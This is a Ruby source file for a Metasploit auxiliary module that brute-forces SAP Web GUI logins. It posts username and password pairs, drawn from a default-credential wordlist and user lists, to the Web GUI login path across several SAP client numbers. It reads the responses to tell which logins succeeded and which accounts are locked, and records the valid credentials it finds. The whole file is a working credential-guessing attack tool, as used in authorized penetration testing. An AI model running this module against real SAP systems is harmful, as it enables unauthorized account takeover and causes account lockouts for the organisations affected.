##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

##
# This module is based on, inspired by, or is a port of a plugin available in
# the Onapsis Bizploit Opensource ERP Penetration Testing framework -
# http://www.onapsis.com/research-free-solutions.php.
# Mariano Nunez (the author of the Bizploit framework) helped me in my efforts
# in producing the Metasploit modules and was happy to share his knowledge and
# experience - a very cool guy. I'd also like to thank Chris John Riley,
# Ian de Villiers and Joris van de Vis who have Beta tested the modules and
# provided excellent feedback. Some people just seem to enjoy hacking SAP :)
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::HttpClient
  include Msf::Auxiliary::Report
  include Msf::Auxiliary::Scanner
  include Msf::Auxiliary::AuthBrute

  def initialize
    super(
      'Name' => 'SAP Web GUI Login Brute Forcer',
      'Description' => %q{
        This module attempts to brute force SAP username and passwords through the SAP Web
        GUI service. Default clients can be	tested without needing to set a CLIENT. Common
        and default user/password combinations can be tested just setting the DEFAULT_CRED
        variable to true. The MSF_DATA_DIRECTORY/wordlists/sap_default.txt path store
        stores these default combinations.
      },
      'References' => [
        [ 'URL', 'https://labs.f-secure.com/tools/sap-metasploit-modules/' ]
      ],
      'Author' => [
        'nmonkee'
      ],
      'License' => MSF_LICENSE,
      'Notes' => {
        'Stability' => [CRASH_SAFE],
        'SideEffects' => [IOC_IN_LOGS, ACCOUNT_LOCKOUTS],
        'Reliability' => []
      }
    )
    register_options(
      [
        Opt::RPORT(8000),
        OptString.new('TARGETURI', [true, 'URI', '/']),
        OptString.new('CLIENT', [false, 'Client can be single (066), comma separated list (000,001,066) or range (000-999)', '000,001,066']),
        OptBool.new('DEFAULT_CRED', [false, 'Check using the default password and username', true]),
        OptString.new('USERPASS_FILE', [false, '', nil])
      ]
    )
  end

  def run_host(_ip)
    if datastore['CLIENT'].nil?
      print_status('Using default SAP client list')
      client = ['000', '001', '066']
    else
      client = []
      if datastore['CLIENT'] =~ /^\d{3},/
        client = datastore['CLIENT'].split(/,/)
        print_status("Brute forcing clients #{datastore['CLIENT']}")
      elsif datastore['CLIENT'] =~ /^\d{3}-\d{3}\z/
        array = datastore['CLIENT'].split(/-/)
        client = (array.at(0)..array.at(1)).to_a
        print_status("Brute forcing clients #{datastore['CLIENT']}")
      elsif datastore['CLIENT'] =~ /^\d{3}\z/
        client.push(datastore['CLIENT'])
        print_status("Brute forcing client #{datastore['CLIENT']}")
      else
        print_status('Invalid CLIENT - using default SAP client list instead')
        client = ['000', '001', '066']
      end
    end

    saptbl = Msf::Ui::Console::Table.new(
      Msf::Ui::Console::Table::Style::Default,
      'Header' => '[SAP] Credentials',
      'Prefix' => "\n",
      'Postfix' => "\n",
      'Indent' => 1,
      'Columns' => ['host', 'port', 'client', 'user', 'pass']
    )

    uri = target_uri.to_s

    if datastore['DEFAULT_CRED']
      credentials = extract_word_pair(Msf::Config.data_directory + '/wordlists/sap_default.txt')
      credentials.each do |u, p|
        client.each do |cli|
          success = bruteforce(uri, u, p, cli)
          if success
            saptbl << [ rhost, rport, cli, u, p]
          end
        end
      end
    end

    each_user_pass do |u, p|
      client.each do |cli|
        success = bruteforce(uri, u, p, cli)
        if success
          saptbl << [ rhost, rport, cli, u, p]
        end
      end
    end

    print(saptbl)
  end

  def report_cred(opts)
    service_data = {
      address: opts[:ip],
      port: opts[:port],
      service_name: opts[:service_name],
      protocol: 'tcp',
      workspace_id: myworkspace_id
    }

    credential_data = {
      origin_type: :service,
      module_fullname: fullname,
      username: opts[:user],
      private_data: opts[:password],
      private_type: :password
    }.merge(service_data)

    login_data = {
      last_attempted_at: Time.now,
      core: create_credential(credential_data),
      status: Metasploit::Model::Login::Status::SUCCESSFUL,
      proof: opts[:proof]
    }.merge(service_data)

    create_credential_login(login_data)
  end

  def bruteforce(uri, user, pass, cli)
    begin
      path = 'sap/bc/gui/sap/its/webgui/'
      cookie = "Active=true; sap-usercontext=sap-language=EN&sap-client=#{cli}"
      res = send_request_cgi({
        'uri' => "#{uri}#{path}",
        'method' => 'POST',
        'cookie' => cookie,
        'vars_post' => {
          'sap-system-login-oninputprocessing' => 'onLogin',
          'sap-urlscheme' => '',
          'sap-system-login' => 'onLogin',
          'sap-system-login-basic_auth' => '',
          'sap-system-login-cookie_disabled' => '',
          'sysid' => '',
          'sap-client' => cli,
          'sap-user' => user,
          'sap-password' => pass,
          'sap-language' => 'EN'
        }
      })
    rescue ::Rex::ConnectionError, Errno::ECONNREFUSED, Errno::ETIMEDOUT
      print_error("[SAP] #{Rex::Socket.to_authority(rhost, rport)} - Service failed to respond")
      return false
    end

    if res && (res.code == 302)
      report_cred(
        ip: rhost,
        port: rport,
        service_name: 'sap_webgui',
        user: user,
        password: pass,
        proof: "SAP Client: #{cli}"
      )
      return true
    elsif res && (res.code == 200)
      if res.body =~ /log on again/
        return false
      elsif res.body =~ %r{<title>Change Password - SAP Web Application Server</title>}
        report_cred(
          ip: rhost,
          port: rport,
          service_name: 'sap_webgui',
          user: user,
          password: pass,
          proof: "SAP Client: #{cli}"
        )
        return true
      elsif res.body =~ /Password logon no longer possible - too many failed attempts/
        print_error("[SAP] #{Rex::Socket.to_authority(rhost, rport)} - #{user} locked in client #{cli}")
        return false
      end
    else
      print_error("[SAP] #{Rex::Socket.to_authority(rhost, rport)} - error trying #{user}/#{pass} against client #{cli}")
      return false
    end
  end
end
